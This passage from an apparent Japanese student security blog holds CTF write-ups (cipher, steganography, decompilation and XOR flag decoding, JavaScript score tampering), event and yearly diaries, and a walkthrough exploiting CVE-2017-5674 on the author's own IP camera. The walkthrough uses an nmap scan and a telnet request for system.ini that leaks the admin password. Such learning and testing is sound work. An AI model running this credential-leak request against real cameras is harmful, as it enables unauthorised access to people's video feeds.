  F  I  P  P  C  A  W  S  S  P  S  Z  X  T  S  I  O  Y  X  W  T
  M  K  Q  I  H  D  C  O  A  W  Z  W  Z  U  P  O  U  W  N  P  G
  K  L  Z  Y  U  X  F  K  Z  S  S  V  J  G  K  P  R  K  M  K  H
  I  G  S  U  W  G  I  M  X  Z  E  S  L  C  G  E  F  J  Q  Z  V
  U  F  A  R  Q  H  U  K  B  D  U  L  P  F  L  W  T  H  R  X  B

アプローチ:読む

3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19  
W E L  L  I  A M  G L A  D T  H A T  I  S O  V  E  R
WELL I AM GLAD THAT IS OVER

WELLIAMGLADTHATISOVER

Z3r0 C00l Bruh! [Crypto]

Hackers keep secrets.

f:id:satto1237:20190207225454j:plain

アプローチ:Steganography + エスパー + Vigenere cipher + エスパー

> strings hackers.jpeg | head -n 10
JFIF
+&.&#&.&D6006DOB?BO_UU_xrx
+&.&#&.&D6006DOB?BO_UU_xrx
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sLPA8
VUPrp+Kh"o:W<
sN[fa
75N]N

ヘッダが怪しいのでSteganographyを疑った.
steghideを利用しファイルの抽出を行った.
passphraseエスパーでneverlanctfにした.

> steghide extract -sf hackers.jpeg 
Enter passphrase: 
the file "Ohno.txt" does already exist. overwrite ? (y/n) 
wrote extracted data to "Ohno.txt".

Ohno.txtの中身を見てみる.

> cat Ohno.txt 
I wonder what this is????
Fowbjcsniuwcwscotsxvevvko

Fowbjcsniuwcwscotsxvevvkoをデコードすればフラグを取得できることが何となく分かる.

いくつかの手法を試す.

rot13 => x
base64 => x
vigenere cipher => Yourflagismyfavoritemovie

結果的にvigenere cipherでデコードできた.
デコードの際,KEYはエスパーでHACKERSにした.

myfavoritemovie

26:00

解散 + 就寝

Crypto問が全然Cryptoじゃなかったと文句をいいながら寝た.

3日目 (02/03)

08:00

起床チャレンジ成功.

09:00

優秀修了生発表.
自分達のプロジェクトは選抜されなかったが,選抜されたプロジェクトはどれも素晴らしいものだったので納得の結果だった.

後から聞いた話によると自分達のプロジェクトは惜しくも選抜入りを逃したらしい(最終選考には残っていた)

12:00

昼食.

f:id:satto1237:20190207233327j:plain

13:00

レクリエーション.
バスで斎場御嶽に行った.
3日間ずっと室内にいたのでやっと沖縄に来たんだなぁという気持ちになった.

f:id:satto1237:20190207233738j:plain f:id:satto1237:20190207233803j:plain f:id:satto1237:20190207233830j:plain

16:00

那覇空港で解散.
f:id:satto1237:20190207233940j:plain

23:30

自宅到着.

まとめ

  • 成果発表疲れた
  • 優秀修了生に選ばれなくて悔しかったがいい経験ができたと思う
  • 低レイヤ高校生強すぎる
  • これからも頑張っていく(まずは3月の外部向けの成果発表会)
  • ルートビアは太る

IoT: Webカメラで遊んだ話

はじめに

先日下記のツイートがTLに流れてきました.

CVE-2017-5674が遂にTVデビューしましたね (ちょっとテンションがあがった)
今回は二番煎じですがWebカメラCVE-2017-5674について色々と書いていきます(唐突).

Webカメラ

モデル

今回はVstarcam C7823WIP Mini WIFI IP Camera を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcamだと思います.

www.vstarcam.com

ファームウェアのバージョン

f:id:satto1237:20190129014111p:plain

CVE-2017-5674

A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.

nvd.nist.gov

CVE-2017-5674 とは 不正な形式のHTTPリクエストを送ることでVstarcamなどのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.

検証

WebカメラIPアドレスの特定

> arp -a | grep 48:2:2c
? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]

WebカメラIPアドレス192.168.2.3であることが分かりました.

ポートスキャン

> nmap -p- -sV 192.168.2.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST
Nmap scan report for 192.168.2.3
Host is up (0.024s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE    VERSION
23/tcp    open  telnet     security DVR telnetd (many brands)
81/tcp    open  http       GoAhead WebServer
9600/tcp  open  tcpwrapped
10080/tcp open  amanda?
10554/tcp open  rtsp

Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds

ポートスキャンの結果からGoAhead WebServer81/tcpで動いていることが分かりました.

補足
ファームウェアのバージョンが異なるモデルではhttpはランダムポートになっています.

81/tcpにアクセス

f:id:satto1237:20190129020229p:plain

ユーザ名とパスワードの入力を求めらます.

パスワードの漏洩

CVE-2017-5674の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.

> telnet 192.168.2.3 81
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.

GET system.ini

HTTP/1.1 200 OK
Date: Mon Jan 28 17:06:13 2019
Server: GoAhead-Webs
Last-modified: Mon Jan 28 16:40:00 2019
Content-length: 4052
Content-type: text/plain
Cache-Control:no-cache
Connection: close

IPCAM������������������������������������������`0O\���time.nist.gov/




adminp4ssw0rd
~~~~������������������������������������������5W
�W
G
��
�j
R
:)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.

admin, p4ssw0rdが降ってきました.

再度81/tcpにアクセス

f:id:satto1237:20190129022034p:plain

先程漏洩させたユーザ名とパスワードを使って81/tcpにアクセスしてみると管理画面が表示されました.

Sign in

適当にSign inするとカメラの映像が表示されます.

f:id:satto1237:20190129024340g:plain

その他

Vstarcam C7823WIP Mini WIFI IP CameraCVE-2017-5674以外にも面白い情報を提供してくれるので雑に紹介します.

初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
f:id:satto1237:20190129030014p:plain

www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう? f:id:satto1237:20190129030803p:plain

まとめ

参考文献

動画の方の資料を参考にさせていただきました.

IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf

f:id:satto1237:20190129032000j:plain

InterKosenCTF 2019 Write-up

はじめに

01/18~01/20に開催されたInterKosenCTFにチームNekochanNano!で参加しました.
NekochanNano!は1250pts獲得して12位(71チーム中)でした.
今回は自分が解いた2問(350pts)のWrite-upです.

[Cheat 100pts] lights out

Turn all the lights on.

f:id:satto1237:20190120232312p:plain

ライツアウトは、5×5の形に並んだライトをある法則にしたがってすべて消灯 (lights out) させることを目的としたパズル。(Wiki)

アプローチ:デコンパイル

ライツアウトのソルバ自体はググればたくさん出てきます.
ただ,今回のライツアウトは20×20なので愚直にやると解けなそうです.
なので正攻法?(デコンパイル)で解きました.

LightsOut.exednSpyデコンパイルすると以下のようなコードを発見できます. github.com

// Token: 0x06000017 RID: 23 RVA: 0x0000246C File Offset: 0x0000066C
// Note: this type is marked as 'beforefieldinit'.
static 745BBE96-A34C-4723-B7D4-089F48D57F2E()
{
    745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>> = new byte[]
    {
        200,
        223,
        198,
        210,
        158,
        149,
        232,
        159,
        223,
        216,
        145,
        155,
        226,
        149,
        217,
        238,
        245,
        232,
        253,
        247,
        253,
        235,
        250,
        198,
        193,
        199,
        132,
        197,
        223,
        212,
        128,
        217,
        230,
        242,
        215,
        237,
        189,
        224,
        238,
        235,
        247,
        240,
        227,
        181,
        242,
        180,
        219,
        202,
        200,
        196,
        252,
        224,
        240,
        171,
        241,
        244,
        241,
        167,
        252,
        253,
        239,
        200,
        247,
        253,
        217,
        223,
        156,
        148,
        173,
        128,
        130,
        138,
        144,
        130,
        148,
        148,
        138,
        134,
        144,
        140,
        149,
        149,
        139,
        216,
        179,
        158,
        149,
        147,
        180,
        156,
        130,
        156,
        186,
        158,
        147,
        157,
        190,
        184,
        232,
        134,
        187,
        187
    };
    for (int i = 0; i < 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>.Length; i++)
    {
        745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] = (byte)((int)745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] ^ i ^ 170);
    }
}

排他的論理和を使って怪しい処理をしてますね.
同様の処理を行った結果をデコードするとflagが得られます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

if __name__ == '__main__':
    messages = [200,223,198,210,158,149,232,159,223,216,145,155,226,149,217,238,245,232,253,247,253,235,250,198,193,199,132,197,223,212,128,217,230,242,215,237,189,224,238,235,247,240,227,181,242,180,219,202,200,196,252,224,240,171,241,244,241,167,252,253,239,200,247,253,217,223,156,148,173,128,130,138,144,130,148,148,138,134,144,140,149,149,139,216,179,158,149,147,180,156,130,156,186,158,147,157,190,184,232,134,187,187]
    flag = []
    for i, message in enumerate(messages):
        flag.append(message ^ i ^ 170)

    print(bytes(flag))
> python solve.py
b'btn{0:D2}{1:D2}KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}Congratulations!MainFormLights Out'

KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}

[Cheat 250pts] anti cheat

Get a super good score!

f:id:satto1237:20190121002230p:plain f:id:satto1237:20190121002256p:plain

アプローチ:javascriptの書き換え

問題文から一定以上のスコアを獲得すればflagが表示されることを読み取ることができます.

チートを行うためにChromeデベロッパーツールを使用してjsコードを確認すると以下のようになっています.

f:id:satto1237:20190121003156p:plain

かなり読みにくいですがscoreという変数名を手がかりにスコアの書き換えに利用できそうな処理を探していきます.
scoreで検索をかけると以下のようなコードを発見できます.

_d3(8,8,("SCORE: "+_G3(_e3._r3)));

このコードは恐らく左上のスコアを表示している部分の処理を行っているので_e3._r3に関する処理を書き換えればスコアに影響を与えることができそうだということが分かります.

_e3._r3で検索をかけると以下のようなコードを発見できます.

if((_e3._r3>=1000)){~~~~~}

このコードからスコアが1000以上になった場合に何かしらの処理が行われることが読み取れます.
そのため,コードを以下のように書き換えて再度ゲームをプレイしてみます.

if((_e3._r3>=1)){~~~~~}

f:id:satto1237:20190121005404p:plain

このようにflagが表示されました.

KOSENCTF{bASIc_buT_STrOng_AnTI_chEAT}

まとめ

  • Web, Cryptoが思うように解けずつらくなった…
  • 精進しなければ…
  • チームでCTFやるの楽しい!
  • Rev,Pwn投げっぱなしだったのでなんとかしたい…

チームメンバのWrite-up

szarny.hatenablog.com

2018年の振り返りと2019年の目標

はじめに

完全にポエムになってしまいますが,2018年の振り返りと2019年の目標について書きます.
多分技術的な話はほとんどしないと思います.

2018年の振り返り

1月

ゼノブレイド

ゼノブレイド2にハマってしまい,虚無のような冬休みを過ごした…
1週間ちょっとで100時間くらいプレイしてしまった気がします.

Xenoblade2 (ゼノブレイド2) - Switch

Xenoblade2 (ゼノブレイド2) - Switch

初めての学会発表

そこそこ緊張しましたが,卒論発表の前に学会発表を経験できたので良かったです.
開催地が新潟だったということもあり,新潟二郎もしっかり食べてきました.

f:id:satto1237:20181231205259j:plain

卒論提出

学会に向かう前に提出した卒論がタイトルにスペース(空白)が入っていないという理由でリジェクトされてしまったため,学会帰りの新幹線で慌てて修正した気がします.
提出締切1時間前に大学に到着し,無事に提出できました.

2月

将棋

当時放送していたアニメと藤井5段(当時)に影響され,研究室の留学生と一緒に将棋にハマってしまいました.
ノーマル四間飛車と美濃囲いを覚えて,留学生と1日1局指していた記憶があります.

f:id:satto1237:20181231211707j:plain

卒論発表

多少緊張しましたが炎上することもなく無事に終わりました.
やっぱり卒論発表前に1度学会発表を経験しておくとフィードバックを反映できるため,無難に発表をこなせると思います.

卒業確定

なんとか落単せずに卒業要件を満たすことができました…

f:id:satto1237:20181231213058p:plain

3月

冬キャン!

またアニメに影響されて友人と冬キャン!をしました (現地まで片道60kmですが自転車圏内なので自転車で行きました).
当日は最低使用温度5℃のシュラフで寝たのですが,最低気温が2℃だったので案の定風邪を引きました(それはそう).
風邪を引いた状態で自転車で帰宅するのは結構辛かった記憶があります.

f:id:satto1237:20181231215525p:plain 友人はモザイク処理しました

卒業式

人生で最も卒業感がない卒業式だったと思います.
4月からも同じ大学の大学院に通うのでそれはそう

卒業研究で表彰されたりしました.

4月

入学式

ITFを聴きに行った.

研究室のメンバーが増える

外部M1と新B4が配属されたため,元々3人しかいなかった研究室のメンバーが3倍以上になりました.
この頃ようやく研究室に行けば誰かがいるという状態になりました.
3月までは研究室に行っても自分しかいないというのが当たり前だったので感動しました.
多分新しくできた研究室あるあるなのかもしれません.

5月

卒業旅行?

京都と岡山に旅行に行ってラーメンを食べました.

f:id:satto1237:20181231222716j:plain f:id:satto1237:20181231222727j:plain

SecHack365の選考に通過

セキュリティ界隈の強い人達に出会えたのが本当に大きかった.

satto.hatenadiary.com

SecHack365@神奈川

satto.hatenadiary.com

CTFを始める

SECCON Beginners CTF に参加し,セキュリティ何もわからんとなりCTFを始めました.

6月

TA業務終了

4月から担当していたTA業務が終了しました.
演習時のサポートと課題の採点が主な業務でしたが,自分にとっていい復習になりましたし,お金も貰えて一石二鳥でした.

SecHack365@北海道

satto.hatenadiary.com

7月

MBP購入

自分にとって3台目のMBPを購入しました.

補足
1台目:弟にコーラをかけられて死去 (2011/10 ~ 2012/10)
2台目:スペック不足で買い替え (2012/10 ~ 2018/07)

f:id:satto1237:20181231224221j:plain

インターン (1)

某社の1 week インターンに参加しました.
自分の専門分野とはあまり関係ないところでしたし, インターンの内容もグループワーク(?)がメインであまり実践的とはいえないものでしたが, 参加者や社員さんのロジカルな部分に圧倒されました.
この頃,優秀な人達に囲まれて仕事ができたら楽しそうだなという思いが芽生えました.

8月

SecHack365@福岡

satto.hatenadiary.com

夏キャン!

帰省した際に友人と夏キャン!をしました.

f:id:satto1237:20181231230619j:plain

9月

インターン (2)

某社の 2 weeks インターンに参加しました.
ここでの業務内容は自分の専門分野に近いものであり, 就職のイメージをより具体的にできた気がします.

上司と二郎インスパイアに行くという実績を解除しました

f:id:satto1237:20181231231453j:plain

CTFのwrite-upを書き始める

5月から時間がある週末にはCTFに取り組んでいましたが,write-upをほとんど書いていなかったため(やるだけになっていたため),知識があまり定着していませんでした.
なので,9月以降はできるだけwrite-upを書くようにしています(まともに解けたときは).

satto.hatenadiary.com

10月

SecHack365@山形

satto.hatenadiary.com

CODE BLUE

CODE BLUE に学生スタッフとして参加しました.

satto.hatenadiary.com

CTFで入賞?

嬉しかったです.

satto.hatenadiary.com

11月

研究と大学関連の雑務

10月にCTFで遊んだりやSecHack関連のあれこれをやっていたせいで研究の進捗が微妙でした.
また,大学関連の雑務もたまっており,毎日何かしらのタスクを消化しなければいけなく,かなり忙しかったという記憶しかありません.

面接

この頃から早期選考(就活)が始まりました.

12月

SecHack@愛媛

satto.hatenadiary.com

論文

SecHack愛媛回が終わってから2週間ほどは実験をしたり,論文を書いていました.

内定

インターンにいった某社から内定を頂きました.
今後についてはじっくり考えたいと思います.

2019年の目標

国際学会で発表

大学院生なので(それはそう).

研究頑張ります.

SECCON 本戦(国内)に出場

現在,2チームに所属しているのでどちらで参加するかは予選までに決めておかなければいけませんが,どちらのチームで参加した場合でも戦力になれるように日々精進したいと思います.
個人的にはCrypto, Webの勉強を続けつつ,Rev, Pwnにも手を広げていけるように頑張っていきたいです.
(SECCONはRev,Pwnができないと楽しめないので)

就活

インターンや早期選考を通じて,自分のやりたいことがようやく見えてきたのであと何社か受けてみようと思っています.

健康

2018年は想像していたよりも忙しく,趣味の1つである自転車にほとんど乗れませんでした.
(2017年の走行距離:約3000km, 2018年の走行距離:約200km)
加えて,家の近くに美味しい二郎インスパイアができてしまい,不健康が加速する1年になってしまいました.

2019年はラーメンを抑えつつ,自転車に乗って健康な1年にしたいです(雑).

セキュリティ

一応自分の専門はセキュリティなのですが,狭く浅くしかセキュリティを知りません(セキスペレベル)…
2019年はせめて広く浅く,できれば広く知った上で1つの分野を深かめていきたいなと思います.